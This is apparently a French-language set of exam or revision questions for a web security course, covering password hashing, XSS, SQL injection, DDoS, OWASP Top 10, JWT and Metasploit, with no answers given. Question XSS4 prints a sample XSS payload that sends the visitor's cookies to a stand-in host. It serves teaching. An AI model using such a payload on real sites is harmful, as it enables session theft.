**LOGIN1** : À part une société detélécommunication, qu'est-ce que le 'salt' ajouté à un mot de passe et à quoi sert-il ?

**LOGIN2** : Donner 1 exemple de mot de passe

1) Cracké instantanément
2) Cracké en quelque minutes / heures
3) Cracké en plusieurs années

**LOGIN3 :** Un mot de passe peut être hashé ou crypté. Quelle est la différence et comment peut-on dans les deux cas récupérer le mot de passe initial si cela est possible ?

**LOGIN4 :** Démontrez mathématiquement qu'un mot de passe composé de majuscules, minuscules, chiffres ainsi que les caractères spéciaux #;! et d'une longueur de 12 symboles ne sera cassé qu'après plusieurs années avec une architecture multi-gpu (4x) et **hashcat** pouvant tester 60'000 mots de passe à la seconde

**XSS1 :** Que veut dire l'acronyme XSS (anglais/français) et qu'est-ce que cela implique pour un utilisateur qui se dirigerait sur un site avec une telle faille ?

**ISQL3 :** Peut-on modifier le contenu d'une base données avec une injection SQL et si oui, avec quel contenu envoyé au serveur ?

**ISQL4 :** Comment faut-il configurer un site en node.js et/ou son serveur MySQL afin qu'une erreur de syntaxe SQL ne soit pas reportée clairement à un hacker ?

**XSS2 :** Comment peut-on se protéger d'une faille XSS en node.js ?

**XSS3 :** Est-ce qu'une faille XSS pourrait amener un hacker à obtenir un login / mot de passe (hashé ou pas) et si oui, comment ?

**XSS4 :** Qu'est-ce qui se passe si je soumets ce contenu dans un site non protégé contre les failles XSS et qu'un utilisateur accède à la page qui présente ce contenu ?

```
<script language=etmlscript>console.log("you have been hacked by Narut0");
window.location.href="https://spoof.cookie.com?data="+document.cookie;</script>
```

**ISQL1 :** Est-ce qu'un site utilisant Mongodb est sensible à une injection SQL ou similaire et si oui, pourquoi ?

**ISQL2 :** Avec quel contenu (texte) pouvez-vous tester un site sur sa
vulnérabilité en injection SQL simple ?

**MAIL4 :** Qui a intérêt à payer un service pour ajouter une signature numérique dans une image électronique ?

| | |
|---|---|
| | |
| | |
| | |
| | |
| | |
| | |
| | |

**MAIL1:** Citez 3 manières de protéger une adresse mail affichée sur un site internet en expliquant leur force et faiblesse

**DDOS1:** Que veut dire l'acronyme DDOS ?

**MAIL2:** Comment peut-on cacher un copyright dans une image afin d'être certain de savoir si quelqu'un l'a copiée sans autorisation ?

**DDOS 2 :** Quelle caractéristique DNS peut-on utiliser pour réduire l'efficacité d'une attaque DDOS ?

**LOGIN5 :** Expliquez les étapes nécessaires à l'enregistrement d'un mot de passe dans une base de données.

**DDOS 3:** Comment peut-on mitiger une attaque DDOS ?

**OUTIL 1:** Citez 3 outils utiles pour tester les failles d'un site WEB dans le cadre d'un audit de sécurité ?

**OUTIL 2:** Décrivez brièvement ce qu'est 'Metasploit' et donnez un exemple d'utilisation concret

**OUTIL 3:** Peut-on utiliser Metasploit sur un site comme http://www.swisscom.ch (développez votre réponse) ?

**OUTIL 4:** Qu'est-ce que le 'black box testing' et quels sont ses avantages et inconvénients comparé à d'autres techniques ?

**OWASP1:** Qu'est-ce que le Broken Access Control ?

**JWT1 :** Comment est construit un jeton JWT ?

**OWASP2 :** Que sont les Cryptographic Failures ?

**OWASP3 :** Citez dans l'ordre les 5 premiers éléments du top 10 OWASP

**OWASP3 :** Qu'est-ce que l'Insecure Design dans le Top 10 OWASP ?

**OWASP4 :** Qu'est-ce que l'injection dans le Top 10 OWASP ?

**OWASP5 :** Que sont les Security Misconfiguration du Top 10 OWASP ?

**OWASP6 :** Qu'est-ce qu'OWASP et quels sont ses projets les plus significatifs ?

**JWT2 :** Quel est l'utilité d'un jeton JWT ? Que cherche-t-on à accomplir en utilisant des jetons ?

**XSS5 :** Qu'est-ce que le DOM Injection ?

**HASH1 :** Citez quelques algorithme de hash et expliquez pourquoi MD5 est compromis.

**AUTH1 :** Qu'est-ce que l'authenification à plusieurs facteurs ?

**MISC1 :** Quels sont les problèmes poteniels posés par l'utilisation d'une librairie tierce ?

**MISC2 :** Expliquez le chiffrement au repos en transit.